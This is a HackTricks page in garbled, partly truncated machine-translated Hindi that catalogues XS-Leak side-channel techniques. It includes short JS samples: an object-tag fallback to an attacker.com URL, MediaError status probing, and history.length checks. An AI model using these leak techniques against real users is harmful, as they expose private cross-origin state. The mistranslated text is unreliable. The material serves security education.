hacktricks/pentesting-web/xs-search.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

103 KiB

XS-Search/XS-Leaks

Trickest का उपयोग करके आसानी से वर्ल्ड के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित ऑटोमेटेड वर्कफ़्लो बनाएं।
आज ही पहुंच प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
  • The PEASS Family की खोज करें, हमारा विशेष संग्रह NFTs
  • आधिकारिक PEASS & HackTricks swag प्राप्त करें
  • 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का पालन करें**.
  • अपने हैकिंग ट्रिक्स को hacktricks repo और hacktricks-cloud repo में PR जमा करके अपना योगदान दें।

मूलभूत जानकारी

XS-Search एक तकनीक है जो साइड चैनल हमलों का उपयोग करके क्रॉस-उत्पादन जानकारी को बाहर निकालने के लिए उन्मुख है।

इस प्रकार के हमले में विभिन्न तत्व होते हैं:

  • विकल्पशील वेब: यह वेब है जहां से हम कुछ जानकारी बाहर निकालना चाहते हैं
  • हमलावर वेब: यह वेब है जिसे हमलावर निर्मित करता है जिसमें दुर्भाग्यपूर्ण होता है और पीड़ित उपयोगकर्ता उपयोग करता है
  • सम्मिलन विधि: यह विधि होती है जिसका उपयोग विकल्पशील वेब को हमलावर वेब से लोड करने के लिए किया जाता है (जैसे window.open, iframe, fetch, href के साथ HTML टैग...)
  • लीक तकनीक: विकल्पशील वेब तक पहुंचने के बाद, एक तकनीक का उपयोग किया जाएगा जो सम्मिलन विधि के द्वारा प्राप्त की गई जानकारी के आधार पर वेब की संभावित स्थिति के बीच अंतर करने के लिए उपयोग किया जाएगा।
  • अवस्थाएं: पीड़ित को जिस व्यक्ति के बीच अंतर करना चाहते हैं, उसके आधार पर विकल्पशील वेब की 2 संभावित स्थितियां हो सकती हैं।
  • पता लगाने योग्य अंतर: यह जानकारी होती है जिसे हमलावर को विकल्पशील वेब की स्थिति का निर्णय लेने के लिए प्रयास करना होता है

पता लगाने योग्य अंतर

विकल्पशील पृष्ठ की 2 स्थितियों के बीच अंतर को पहचानने के लिए कई चीजें देखी जा सकती हैं:

  • स्थिति कोड. एक हमलावर विकल्पशील पृष्ठ को पहचान सकता है विभिन्न HTTP प्रतिक्रिया स्थिति कोड के द्वारा (उदाहरण के लिए, सर्वर त्रुटियां, ग्राहक त्रुटियां या प्रमाणीकरण त्रुटियां)।
  • API उपयोग. यह पता लगाने योग्य अंतर हमलावर को यह संदेश देता है कि क्रॉस-उत्पादन पृष्ठ एक विशिष्ट JavaScript वेब API का उपयोग कर रहा है या नहीं।
  • पुनर्निर्देशन. यह संभव है कि एक वेब एप्लिकेशन ने उपयोगकर्ता को एक अलग पृष्ठ पर नेविगेट किया हो। इसमें केवल HTTP पुनर्निर्देशों से सीमित नही

लीक तकनीक

  • इवेंट हैंडलर. इवेंट हैंडलर को XS-Leaks के लिए क्लासिकल लीक तकनीक के रूप में देखा जा सकता है। ये विभिन्न जानकारी के स्रोत के रूप में जाने जाते हैं। उदाहरण के लिए, onload का ट्रिगर सफलतापूर्वक संसाधन लोड होने की ओर इशारा करता है जबकि onerror इवेंट इसके विपरीत होता है।
  • त्रुटि संदेश. इवेंट हैंडलर के अलावा, त्रुटि संदेश जावास्क्रिप्ट अपवाद और विशेष त्रुटि पेज के रूप में हो सकते हैं। त्रुटि संदेश विभिन्न चरणों में फेंके जा सकते हैं, उदाहरण के लिए, लीक तकनीक द्वारा सीधे फेंके जा सकते हैं। लीक तकनीक या तो त्रुटि संदेश में सीधे शामिल जानकारी का उपयोग कर सकती है या त्रुटि संदेश की उपस्थिति और अनुपस्थिति के बीच भेद कर सकती है
  • वैश्विक सीमाएं. हर कंप्यूटर की अपनी भौतिक सीमाएं होती हैं, इसी तरह ब्राउज़र की भी होती हैं। उदाहरण के लिए, उपलब्ध मेमोरी की मात्रा एक ब्राउज़र के चल रहे टैब्स की सीमा होती है। इसी तरह अन्य ब्राउज़र सीमाएं भी हैं जो पूरे ब्राउज़र के लिए प्रयोजित की जाती हैं। यदि हमलावर सीमा कब पहुंची है यह निर्धारित कर सकता है तो इसे लीक तकनीक के रूप में उपयोग किया जा सकता है।
  • वैश्विक स्थिति. ब्राउज़र में वैश्विक स्थिति होती है जिसमें सभी पेज संचरण कर सकते हैं। यदि हमलावर की वेबसाइट से इस संचरण को पता लगाया जा सकता है, तो इसे लीक तकनीक के रूप में उपयोग किया जा सकता है। उदाहरण के लिए, इतिहास इंटरफ़ेस एक टैब या फ्रेम में देखे गए पेज के संचरण को संशोधित करने की अनुमति देता है। इससे एक वैश्विक स्थिति बनती है क्योंकि एंट्रीज़ की संख्या हमलावर को अलग-अलग स्रोत पेज के बारे में निष्कर्ष निकालने की अनुमति देती है।
  • प्रदर्शन API. प्रदर्शन API का उपयोग मौजूदा पेज की प्रदर्शन जानकारी तक पहुंचने के लिए किया जाता है। उनकी एंट्रीज़ में प्रतिष्ठान और पेज द्वारा लोड किए गए हर संसाधन के विस्तृत नेटवर्क टाइमिंग डेटा शामिल होते हैं। इससे हमलावर को अनुरोधित संसाधनों के बारे में निष्कर्ष निकालने की अनुमति मिलती है। उदाहरण के लिए, हमने ऐसे मामलों की पहचान की है जहां ब्राउज़र ने कुछ अनुरोधों के लिए प्रदर्शन एंट्रीज़ नहीं बनाए हैं।
  • पठनीय गुणधर्म. HTML में कई ऐसे गुणधर्म होते हैं जो स्रोत-सीमा के बाहर पठनीय होते हैं। इस पठनीय पहुंच का उपयोग लीक तकनीक के रूप में किया जा सकता है। उदाहरण के लिए, जावास्क्रिप्ट कोड विंडो.फ्रेम.लंबाई संपत्ति के साथ वेबपेज में शामिल फ्रेमों की संख्या पठनीय सीमा के बाहर से पढ़ सकता है।

समय आधारित तकनीकें

निम्नलिखित तकनीकों में से कुछ तकनीकें संभावित वेब पेज की संभावित स्थितियों में अंतर का पता लगाने के लिए समय का उपयोग करेंगी। वेब ब्राउज़र में समय को मापने के लिए विभिन्न तरीके हैं।

घड़ी: performance.now() एपीआई डेवलपर्स को उच्च-संकल्प वाले समय मापन प्राप्त करने की अनुमति देता है।
हमलावर द्वारा निर्मित घड़ी बनाने के लिए आक्रमणकारी बहुत सारे एपीआई हैं: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, और अन्य।
अधिक जानकारी के लिए: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

XSinator

XSinator एक स्वचालित उपकरण

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

इस मामले में यदि example.com/404 नहीं मिलता है तो attacker.com/?error लोड होगा।

Onload Timing

  • सम्मिलन विधियाँ: HTML तत्व
  • पता लगाने योग्य अंतर: समय (सामान्य रूप से पृष्ठ सामग्री, स्थिति कोड के कारण)
  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
  • सारांश: performance.now() API का उपयोग करके यह मापा जा सकता है कि एक अनुरोध को पूरा करने में कितना समय लगता है। हालांकि, अन्य घड़ी भी उपयोग की जा सकती है, जैसे PerformanceLongTaskTiming API जो 50 मिलीसेकंड से अधिक समय तक चल रहे कार्यों की पहचान कर सकता है।
  • कोड उदाहरण: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events एक और उदाहरण:

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

यह तकनीक पिछली तकनीक की तरह ही है, लेकिन हमलावर भी कुछ कार्रवाई बलवान करेगा ताकि जब उत्तर सकारात्मक या नकारात्मक हो तब उस समय को माप सके।

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

unload और beforeunload इवेंट का उपयोग करके एक संसाधित संसाधन को प्राप्त करने में कितना समय लगता है, इसे मापा जा सकता है। यह काम इसलिए करता है क्योंकि beforeunload जब ब्राउज़र एक नई नेविगेशन अनुरोध करता है तब ट्रिगर होता है, जबकि unload उस नेविगेशन को पूरा करने पर ट्रिगर होता है। इस व्यवहार के कारण, इन दो इवेंट्स के बीच समय अंतर की गणना की जा सकती है और ब्राउज़र को संसाधित संसाधन को पूरा करने में कितना समय लगा यह मापा जा सकता है।

Sandboxed Frame Timing + onload

यदि किसी पृष्ठ में Framing Protections लागू नहीं हैं, तो हमलावर पूरे नेटवर्क पर पृष्ठ और सभी सब-संसाधनों को लोड होने में कितना समय लगता है यह समय का माप कर सकता है। डिफ़ॉल्ट रूप से, एक आइफ्रेम के लिए onload हैंडलर सभी संसाधनों को लोड होने के बाद और सभी जावास्क्रिप्ट कोड के पूर्ण होने के बाद आह्वानित किया जाता है। लेकिन, हमलावर जावास्क्रिप्ट कोड के ध्वनि को हटा सकता है जो ज

CORB - Onerror

  • सम्मिलन विधियाँ: HTML तत्व
  • पता लगाने योग्य अंतर: स्थिति कोड और हैडर
  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • सारांश: हमलावर यह देख सकते हैं कि CORB को प्रयोग किया जा रहा है यदि किसी प्रतिक्रिया में CORB सुरक्षित Content-Type (और nosniff) और स्थिति कोड 2xx के साथ लौटता है, जिससे CORB द्वारा प्रतिक्रिया से बॉडी और हैडर हटा दिए जाते हैं। इस सुरक्षा की पहचान हमलावर को देती है कि वह संयोजन का एक संयोजन कोड (सफलता बनाम त्रुटि) और Content-Type (CORB द्वारा संरक्षित या नहीं) का संयोजन लीक कर सकता है।
  • कोड उदाहरण:

अधिक जानकारी के लिए हमलावर के बारे में अधिक जानकारी के लिए लिंक की जांच करें।

onblur

एक पृष्ठ को एक फ्रेम के भीतर लोड करना संभव है और पृष्ठ को ध्यान देने के लिए #id_value का उपयोग करना है जो फ्रेम के तत्व पर ध्यान केंद्रित करता है, फिर यदि onblur संकेत ट्रिगर होता है, तो ID तत्व मौजूद होता है।
आप portal टैग के साथ भी एक ही हमला कर सकते हैं।

postMessage Broadcasts

  • सम्मिलन विधियाँ: फ्रेम, पॉप-अप
  • पता लगाने योग्य अंतर: API उपयोग
  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • सारांश: postMessage से संवेदनशील जानकारी इकट्ठा करें या पोस्टमैसेज की मौजूदगी का उपयोग उपयोगकर्ता की स्थिति को जानने के लिए एक ओरेकल के रूप में करें
  • कोड उदाहरण: सभी postMessages के लिए सुनने वाला कोड।

अनुप्रयोगों में अक्सर postMessage broadcasts का उपयोग अन्य स्रोतों के साथ जानकारी साझा करने के लिए किया जाता है। इन संदेशों को सुनने से कोई भी संवेदनशील जानकारी (संभावित रूप से यदि targetOrigin पैरामीटर का उपयोग नहीं किया गया हो) मिल सकती है। इसके अलावा, किसी संदेश को प्राप्त करने का तथ्य एक ओरेकल के रूप में उपयोग किया जा सकता है (आप केवल तब इस तरह के संदेश प्राप्त करते हैं जब आप लॉग इन होते हैं)।


Trickest का उपयोग करें और आसानी से वर्ल्ड के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित कार्यप्रवाह बनाएं और स्वचालित करें।
आज ही पहुंच प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

वैश्विक सीमाएं तकनीकें

WebSocket API

व्यस्त ईवेंट लूप

  • सम्मिलित करने के तरीके:
  • पता लगाने योग्य अंतर: समय (आमतौर पर पृष्ठ सामग्री, स्थिति कोड के कारण)
  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • सारांश: एक वेब के निष्पादन का समय मापें और एक थ्रेड के ईवेंट लूप को लॉक करें और ईवेंट लूप फिर से उपलब्ध होने में कितना समय लगता है का समय निर्धारित करें।
  • कोड उदाहरण:

इस तकनीक का एक मुख्य लाभ यह है कि इसकी क्षमता है कि यह साइट आइसोलेशन को दूर कर सकती है, क्योंकि एक हमलावर मूल संबंध के निष्पादन पर एक अतिरिक्त मूल के निष्पादन को प्रभावित कर सकता है।

{% hint style="warning" %} एक निष्पादन समय में नेटवर्क कारकों को नष्ट करने के लिए और सटीक माप प्राप्त करने के लिए संभव है। उदाहरण के लिए, पेज को लोड करने से पहले पेज द्वारा उपयोग किए जाने वाले संसाधनों को लोड करके। {% endhint %}

कनेक्शन पूल

  • सम्मिलित करने के तरीके: JavaScript अनुरोध
  • पता लगाने योग्य अंतर: समय (आमतौर पर पृष्ठ सामग्री, स्थिति कोड के कारण)
  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • सारांश: एक हमलावर सभी सॉकेट्स को लॉक कर सकता है केवल 1 को छोड़कर, लक्षित वेब को लोड करें और उसी समय एक और पेज लोड करें, जब तक अंतिम पेज लोड होना शुरू नहीं होता है, तब तक लक्षित पेज को लोड करने में लगा समय है।
  • कोड उदाहरण:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

ब्राउज़र सर्वरों के साथ संचार करने के लिए सॉकेट्स का उपयोग करते हैं। जबकि ऑपरेटिंग सिस्टम और उस पर चल रहे हार्डवेयर के संसाधनों की सीमित संख्या होती है, ब्राउज़रों को सीमा लगानी पड़ती है। इस सीमा की मौजूदगी का शोषण करने के लिए हमलावर निम्न कार्रवाई कर सकते हैं:

  1. जांचें कि ब्राउज़र की सीमा क्या है, उदाहरण के लिए 256 ग्लोबल सॉकेट्स।
  2. विभिन्न होस्टों के 255 अनुरोधों को करके 255 सॉकेट्स को लंबे समय तक ब्लॉक करके 255 सॉकेट्स को ब्लॉक करें जो केवल कनेक्शन को रोकते हैं
  3. लक्षित पेज के लिए एक अनुरोध करके 256वें सॉकेट का उपयोग करें।
  4. एक अन्य होस्ट के लिए 257वें अनुरोध करें। सभी सॉकेट्स का उपयोग हो रहा है (2 और 3 कदम में), इसलिए यह अनुरोध पूल को एक उपलब्ध सॉकेट प्राप्त करने तक प्रतीक्षा करना होगा। इस प्रतीक्षा अवधि से हमलावर को 256वें सॉकेट के नेटवर्क टाइमिंग को प्राप्त होता है, जो लक्षित पेज के लिए होता है। यह काम करता है क्योंकि 2 कदम में 255 सॉकेट्स अभी भी ब्लॉक हैं, इसलिए अगर पूल ने एक उपलब्ध सॉकेट प्राप्त किया है, तो यह 3 कदम में सॉकेट के विमुक्त होने के कारण हुआ था। 256वें सॉकेट को विमुक्त करने का समय सीधे पूर्ण अनुरोध को पूरा करने में लिया जाने वाले समय से सीधे जुड़ा हुआ है।

अधिक जानकारी के लिए: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

गंतव्य द्वारा कनेक्शन पूल

  • सम्मिलित करने के तरीके: JavaScript अनुरोध
  • पता लगाने योग्य अंतर: समय (आमतौर पर पृष्ठ सामग्री, स्थिति कोड के कारण)
  • अधिक जानकारी:
  • सारांश: यह पिछली तकनीक की तरह है, लेकिन Google Chrome द्वारा **एक

अनुरोध मर्जन त्रुटि

  • समावेश विधियाँ: HTML तत्व
  • पता लगाने वाला अंतर: स्थिति कोड
  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.2)
  • सारांश: त्रुटि के परिणामस्वरूप होने वाले अनुरोधों को मर्जित नहीं किया जा सकता है।
  • कोड उदाहरण: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

यह तकनीक उल्लेखित पेपर में एक तालिका में पाई गई थी, लेकिन उसमें तकनीक का कोई वर्णन नहीं मिला। हालांकि, आप इसे जांचने के लिए स्रोत कोड में खोज सकते हैं https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

खाली पृष्ठ लीक

  • समावेश विधियाँ: फ्रेम
  • पता लगाने वाला अंतर: पृष्ठ सामग्री
  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.2)
  • सारांश: खाली प्रतिक्रियाओं से संसाधन समयिक प्रविष्टियाँ नहीं बनाती हैं।
  • कोड उदाहरण: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak

एक हमलावर यह पता लगा सकता है कि क्या एक अनुरोध खाली HTTP प्रतिक्रिया शरीर के कारण हुआ है क्योंकि खाली पृष्ठ कुछ ब्राउज़र में प्रदर्शन प्रविष्टि नहीं बनाते हैं

XSS-Auditor लीक

SA में, XSSAuditor ट्रिगर हुआ है या नहीं इसे पता लगाना संभव है और इस तरह संवेदनशील जानकारी लीक कर सकते हैं। XSS-Auditor SA और GC (अब हटा दिया गया) की एक अंतर्निहित सुविधा है जो क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को न्यायिक रूप से रोकने के लिए डिज़ाइन की गई है। 2013 में, Braun और Heiderich [7] ने दिखाया कि XSS-Auditor का उपयोग झूलस सकता है और इस तरह से जानकारी को बाहर निकाल सकता है। इन XS-Leak को पहले तो Terada ने एक बग रिपोर्ट में वर्णित किया और बाद में Heyes ने एक ब्लॉग पोस्ट में। हालांकि, खोजी गई तकनीकें केवल GC में XSS-Auditor के लिए लागू होती हैं और SA में काम नहीं करती हैं। हमने यह खोजा है कि अवरुद्ध पृष्ठ Performance API प्रविष्टियाँ नहीं बनाएगा। इसका मतलब है कि एक हमलावर XSS-Auditor के साथ भी संवेदनशील जानकारी लीक कर सकता है।

X-Frame लीक

यदि एक पृष्ठ को आईफ्रेम में प्रदर्शित करने की अनुमति नहीं है, तो यह प्रदर्शन प्रविष्टि नहीं बनाता है। इस परिणामस्वरूप, एक हमलावर प्रतिक्रिया हेडर X-Frame-Options का पता लगा सकता है।
यदि आप एम्बेड टैग का उपयोग करते हैं तो भी यही होता है।

डाउनलोड का पता लगाना

  • समावेश विधियाँ: फ्रेम
  • पता लगाने वाला अंतर: हैडर
  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.2)
  • सारांश: डाउनलोड संसाधन समयिक प्रविष्टियाँ प्रदर्शित नहीं करती हैं।
  • कोड उदाहरण:

CORP लीक

  • सम्मिलन विधियाँ: फ्रेम्स
  • पता लगाने वाला अंतर: हैडर
  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.2)
  • सारांश: CORP द्वारा संरक्षित संसाधनों में संसाधन समय एंट्री नहीं बनाई जाती है।
  • कोड उदाहरण: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak

कुछ मामलों में, nextHopProtocol एंट्री लीक तकनीक के रूप में उपयोग किया जा सकता है। GC में, जब CORP हैडर सेट होता है, तो nextHopProtocol खाली हो जाएगा। ध्यान दें कि SA CORP सक्षम संसाधनों के लिए कोई प्रदर्शन एंट्री बनाएगा ही नहीं।

सेवा कर्मचारी

सेवा कर्मचारी घटना-निर्देशित स्क्रिप्ट संदर्भ हैं जो एक मूल में चलते हैं। वे एक वेब पृष्ठ के पीछे चलते हैं और ऑफ़लाइन वेब एप्लिकेशन बनाने के लिए संसाधनों को अवरोधित, संशोधित और कैश कर सकते हैं। यदि सेवा कर्मचारी द्वारा कैश किया गया संसाधन आईफ्रेम के माध्यम से एक्सेस किया जाता है, तो संसाधन सेवा कर्मचारी कैश से लोड होगा। संसाधन को सेवा कर्मचारी से लोड किया गया था यह जांचने के लिए प्रदर्शन API का उपयोग किया जा सकता है। इसे एक टाइमिंग हमले के साथ भी किया जा सकता है (अधिक जानकारी के लिए पेपर की जांच करें)।

कैश

प्रदर्शन API का उपयोग करके संसाधन कैश हुआ है यह जांचना संभव है। अधिक जानकारी के लिए: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources

नेटवर्क अवधि

त्रुटि संदेश तकनीक

मीडिया त्रुटि

  • सम्मिलन विधियाँ: HTML तत्व (वीडियो, ऑडियो)
  • पता लगाने वाला अंतर: स्थिति कोड
  • अधिक जानकारी: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
  • सारांश: FF में, एक क्रॉस-मूल का अनुरोध के स्थिति कोड को सटीकता से लीक किया जा सकता है।
  • कोड उदाहरण: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

MediaError इंटरफेस की message प्रॉपर्टी में सफलतापूर्वक लोड होने वाले संसाधनों के लिए एक अलग स्ट्रिंग होती है। इससे एक हमलावर्ती कोर्स संसाधन के लिए प्रतिक्रिया स्थिति का अनुमान लगाना संभव होता है।

कॉर्स त्रुटि

  • समावेश विधियाँ: Fetch API
  • पता लगाने योग्य अंतर: हैडर
  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.3)
  • सारांश: SA में कॉर्स त्रुटि संदेश पूर्ण URL को रीडायरेक्ट करते समय लीक करते हैं।
  • कोड उदाहरण: https://xsinator.com/testing.html#CORS%20Error%20Leak

यह तकनीक एक हमलावर को एक क्रॉस-उत्पन्न साइट द्वारा प्रारंभित रीडायरेक्ट के लक्ष्य को लीक करने की अनुमति देती है।

CORS किसी भी वेब संसाधन को किसी भी वेबसाइट से पढ़ा और उपयोग करने की अनुमति देता है। Webkit आधारित ब्राउज़र में, यह संभव है कि कॉर्स अनुरोध विफल होने पर कॉर्स त्रुटि संदेश का उपयोग किया जा सके। एक हमलावर एक टारगेट वेबसाइट को एक कॉर्स सक्षम अनुरोध भेज सकता है जो उपयोगकर्ता स्थिति के आधार पर रीडायरेक्ट करता है। जब ब्राउज़र अनुरोध को अस्वीकार करता है, तो त्रुटि संदेश में रीडायरेक्ट के लक्ष्य का पूरा URL लीक हो जाता है। इस हमले के साथ, रीडायरेक्ट का पता लगाना, रीडायरेक्ट स्थानों को और संवेदनशील क्वेरी पैरामीटर्स को लीक करना संभव होता है।

SRI त्रुटि

  • समावेश विधियाँ: Fetch API
  • पता लगाने योग्य अंतर: हैडर
  • अधिक जानकारी: https://xsinator.com/paper.pdf (5.3)
  • सारांश: SA में कॉर्स त्रुटि संदेश पूर्ण URL को रीडायरेक्ट करते समय लीक करते हैं।
  • कोड उदाहरण: https://xsinator.com/testing.html#SRI%20Error%20Leak

एक हमलावर क्रॉस-उत्पन्न प्रतिक्रियाओं के आकार को व्याख्यानात्मक त्रुटि संदेश के कारण लीक कर सकता है।

अखंडता विशेषता एक क्रिप्टोग्राफिक हैश परिभाषित करती है जिसके द्वारा ब्राउज़र सत्यापित कर सकता है कि एक फेच किया गया संसाधन में कोई खिलाव नहीं हुआ है। इस सुरक्षा तंत्र को Subresource Integrity (SRI) कहा जाता है। यह सामग्री वितरण नेटवर्क (CDN) से सेवा की जाने वाली संसाधनों की अखंडता सत्यापन के लिए उपयोग किया जाता है। डेटा लीक को रोकने के लिए, क्रॉस-उत्पन्न संसाधनों को कॉर्स सक्षम होना चाहिए। अन्यथा, प्रतिक्रिया अखंडता मान्यता के लिए योग्य नहीं होती है। कॉर्स त्रुटि XS-Leak की तरह, यह संभव है कि एक इंटेग्रिटी विशेषता के साथ एक फेच अनुरोध के बाद की त्रुटि संदेश को पकड़ा जा सके। एक हमलावर इस त्रुटि को किसी भी अनुरोध पर बलपूर्वक ट्रिगर कर सकता है एक बोगस हैश मान निर्दिष्ट करके। SA में, यह त्रुटि संदेश अनुरोधित संसाधन की सामग्री लंबाई को लीक करता है। एक हमलावर इस लीक का उपयोग करके प्रतिक्रिया के आकार में अंतर का पता लगा सकता है, जो शक्तिशाली XS-Leak हमलों को सक्षम करता है।

CSP उल्लंघन/पता लगाना

CORP

CORP हैडर एक नई वेब प्लेटफ़ॉर्म सुरक्षा सुविधा है जो नो-कोर्स क्रॉस-उत्पन्न अनुरोधों को दिए गए संसाधन के लिए अवरोधित करती है। हैडर की मौजूदगी पता लगाई जा सकती है, क्योंकि CORP द्वारा संरक्षित संसाधन को फेच करने पर त्रुटि उत्पन्न होगी।

CORB

अधिक जानकारी के लिए अधिक जानकारी लिंक की जांच करें।

उत्पादन त्रुटि पर CORS त्रुटि

यदि Origin हैडर Access-Control-Allow-Origin में प्रतिबिंबित हो रहा है, तो हमलावर इस व्यवहार का दुरुपयोग कर सकता है और कोशिका मोड में संसाधन को फेच करने का प्रयास कर सकता है। यदि कोई त्रुटि उत्पन्न नहीं होती है, तो इसका अर्थ है कि यह वेब से सही ढंग से प्राप्त किया गया था, और यदि त्रुटि उत्पन्न होती है, तो इसका अर्थ है कि यह कैश से एक प्रतिक्रिया को संप्राप्त किया गया था (त्रुटि इसलिए प्रकट होती है क्योंकि कैश एक CORS हैडर के साथ एक प्रतिक्रिया को सही डोमेन की अनुमति देता है और हमलावर की डोमेन नहीं)
ध्यान दें कि यदि उत्पत्ति प्रतिबिंबित नहीं है लेकिन वाइल्डकार्ड का उपयोग किया जाता है (Access-Control-Allow-Origin: *), तो यह काम नहीं करेगा।

पठनीय गुण तकनीक

फेच रीडायरेक्ट

Fetch API का उपयोग करके redirect: "manual" और अन्य पैरामीटरों के साथ एक अनुरोध सबमिट करने से, response.type गुण को पढ़ने का संभावना होती है और यदि यह opaqueredirect के बराबर है तो प्रतिक्रिया एक रीडायरेक्ट थी।

COOP

URL Max Length - Client Side

Chromium दस्तावेज़ीकरण के अनुसार, Chrome की अधिकतम URL लंबाई 2MB है।

सामान्य रूप से, वेब प्लेटफ़ॉर्म के पास URL की लंबाई पर सीमाएं नहीं होती हैं (हालांकि 2^31 एक सामान्य सीमा है)। Chrome अंतर-प्रक्रिया संचार में त्रुटि-सेवा समस्याओं को रोकने और व्यावहारिक कारणों से URL की अधिकतम लंबाई को 2MB तक सीमित करता है।

इसलिए यदि पुनर्निर्देश URL में किसी एक मामले में जवाब दिया जाता है, तो इसे 2MB से अधिक लंबा URL बनाना संभव है ताकि यह लंबाई सीमा को प्रभावित कर सके। जब ऐसा होता है, तो Chrome एक about:blank#blocked पृष्ठ दिखाता है।

पता लगाने योग्य अंतर यह है कि यदि पुनर्निर्देश पूरा हो गया होता है, तो window.origin एक त्रुटि फेंकता है क्योंकि एक क्रॉस उत्पन्नता उस जानकारी तक पहुंच नहीं हो सकती है। हालांकि, यदि सीमा को छू जाता है और लोड किया गया पृष्ठ about:blank#blocked था, तो विंडो का origin माता-पिता का रहता है, जो एक पहुंचने योग्य जानकारी है।

2MB तक पहुंचने के लिए सभी अतिरिक्त जानकारी को प्रारंभिक URL में एक हैश के माध्यम से जोड़ा जा सकता है ताकि इसे पुनर्निर्देश में उपयोग किया जा सके।

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Max Redirects

यदि ब्राउज़र के पुनर्निर्देशों की अधिकतम संख्या 20 है, तो एक हमलावर 19 पुनर्निर्देशों के साथ अपना पृष्ठ लोड करने का प्रयास कर सकता है और अंत में पीड़ित को परीक्षण किए गए पृष्ठ पर भेज सकता है। यदि एक त्रुटि उत्पन्न होती है, तो पृष्ठ ने पीड़ित को पुनर्निर्देशित करने की कोशिश की थी।

History Length

  • शामिल करने के तरीके: फ्रेम्स, पॉप-अप्स
  • पता लगाने वाला अंतर: पुनर्निर्देश
  • अधिक जानकारी: https://xsleaks.dev/docs/attacks/navigations/
  • सारांश: जावास्क्रिप्ट कोड ब्राउज़र इतिहास को संशोधित करने की अनुमति देता है और इसे लंबाई संपत्ति द्वारा पहुंचा जा सकता है।
  • कोड उदाहरण: https://xsinator.com/testing.html#History%20Length%20Leak

History API जावास्क्रिप्ट कोड को ब्राउज़र इतिहास को संशोधित करने की अनुमति देता है, जिसमें एक उपयोगकर्ता द्वारा देखे गए पृष्ठ सहेजे जाते हैं। एक हमलावर लंबाई संपत्ति को एक समावेश विधि के रूप में उपयोग कर सकता है: जावास्क्रिप्ट और HTML नेविगेशन का पता लगाने के लिए।
history.length की जांच करें, एक उपयोगकर्ता को नेविगेट कराएं, इसे वापस समान मूल के रूप में बदलें और history.length के नए मान की जांच करें।

History Length with same URL

  • शामिल करने के तरीके: फ्रेम्स, पॉप-अ
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

फ्रेम गिनती

iframe या window.open के माध्यम से खोले गए वेब पेज में फ्रेमों की संख्या गिनने से उपयोगकर्ता की स्थिति की पहचान करने में मदद मिल सकती है।
